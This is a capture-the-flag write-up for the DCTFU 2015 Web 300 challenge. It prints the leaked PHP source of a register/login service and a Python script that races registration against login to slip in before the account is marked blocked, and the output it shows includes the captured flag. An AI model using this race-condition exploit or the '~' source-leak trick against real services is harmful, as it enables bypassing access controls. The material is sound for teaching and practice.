DCTFU CTF 2015 prequals Web 300

@mrexcessive WHA and Oliver WHA

DCTFU 2015 Web 300

TIMING, Timing... ... NOW! timing

 

The problem

Get a flag from web register | login service
http://10.13.37.4/

 

The solution

Oliver pulled down the source code to register.php and login.php using the ~ trick

register.php
<?php

include_once('config.php');

if(isset($_POST['username'])){
    $username = mysql_real_escape_string($_POST['username']);
    $password = mysql_real_escape_string($_POST['password']);

    $q = "INSERT into users (username, password) values ('".$username."', '".$password."');";

    mysql_query($q);
    $q = "INSERT into privs (uid, blocked) values ((select users.id from users where username='".$username."'), TRUE);";
    mysql_query($q);
    ?>
    <h2>Congrats! Login now</h2>
    <?php
}  else {
    ?>
    <h1>Register</h1>
<form action="register.php" method="post">
    <ul>
        <li>
            <label>Username</label>
            <input type="text" name="username">
        </li>
        <li>
            <label>Password</label>
            <input type="text" name="password">
        </li>
        <li>
            <input type="submit">
            </li>
    </ul>
</form>
    <?php
} ?>
login.php
<?php

include_once('config.php');

if(isset($_POST['username'])) {
    $user = mysql_real_escape_string($_POST['username']);

    $q = 'SELECT * FROM `users` WHERE username="'.$user.'" LIMIT 1';
    $result = mysql_query($q);
    if(!mysql_num_rows($result)) die('nop');
    $result = mysql_fetch_array($result);

    if($result['username'] === $_POST['username'] && $result['password'] === md5($_POST['password'])) {
        ?> <h1>Logged in as </h1>
<div>
    <h1>Login</h1>
    <form action="login.php" method="post">
        <ul>
            <li>
                <label>Username</label>
                <input type="text" name="username">
            </li>
            <li>
                <label>Password</label>
                <input type="text" name="password">
            </li>
            <li>
                <input type="submit" value="Login">
                </li>
        </ul>
    </form>
</div>
<?php } ?>

We had a chat about these and how they might be exploited.
The separation of the database calls for creating a user in register.php suggested that a timing attack might work.

The idea is that because a user is created and then separately (a few fractions of a second later) the blocked flag is set... if you can try your login before that happens then you will get full access... and get the flag.

    $q = "INSERT into users (username, password) values ('".$username."', '".$password."');";

    mysql_query($q);

    **We want to get the login in this gap**

    $q = "INSERT into privs (uid, blocked) values ((select users.id from users where username='".$username."'), TRUE);";
    mysql_query($q);

Oliver coded it and it worked for him first time!

I caught up a bit later with this code - you have to change the username each time you run it.
Code on gist here, https://gist.github.com/mrexcessive/26ce8d9c3841d870975d

#!/usr/bin/python
#http:10.13.37.4

import requests            # see http://stackoverflow.com/questions/4476373/simple-url-get-post-function-in-python
import multiprocessing     # see http://stackoverflow.com/questions/6286235/multiple-threads-in-python

# we need to run register.php and login.php at the same time

baseurl = "http://10.13.37.4/"

username = "blobbyD"

password = "goblob"
md5pwd = "476b56907764207c05e118caaf9f9d96"     # need this to register, is md5sum of the goblob password

# then need to fire up register, fire up login immediately
# capture output from both

def DoRegister():
   url = baseurl + "register.php"
   payload = {'username' : username, 'password' : md5pwd}

   r = requests.post(url, data=payload)

   print "REGISTER:[%s]" % r.text


def DoLogin():
   url = baseurl + "login.php"
   payload = {'username' : username, 'password' : password}

   r = requests.post(url, data=payload)

   print "LOGIN:[%s]" % r.text



if __name__ == "__main__":
   if False:
      DoRegister()
      DoLogin()
      SEQUENTIAL_FAILS="""
"""

   if True:    # simultaneous(ish) - timing attack
      processRegister = multiprocessing.Process(target=DoRegister)
      processDoLogin = multiprocessing.Process(target=DoLogin)
      processRegister.start()
      processDoLogin.start()

The sequential process (same as manual process) commented out with if False: above, fails like this:

REGISTER:[    <h2>Congrats! Login now!</h2>
    ]
LOGIN:[ <h1>Logged in as </h1>Your user was automatically blocked]

But the timing attack method works, like this:

REGISTER:[    <h2>Congrats! Login now!</h2>
    ]
LOGIN:[ <h1>Logged in as </h1>CONGRATS! Flag: DCTF{797b5361f70623db624656b3b6105f73}]
! DCTF{797b5361f70623db624656b3b6105f73}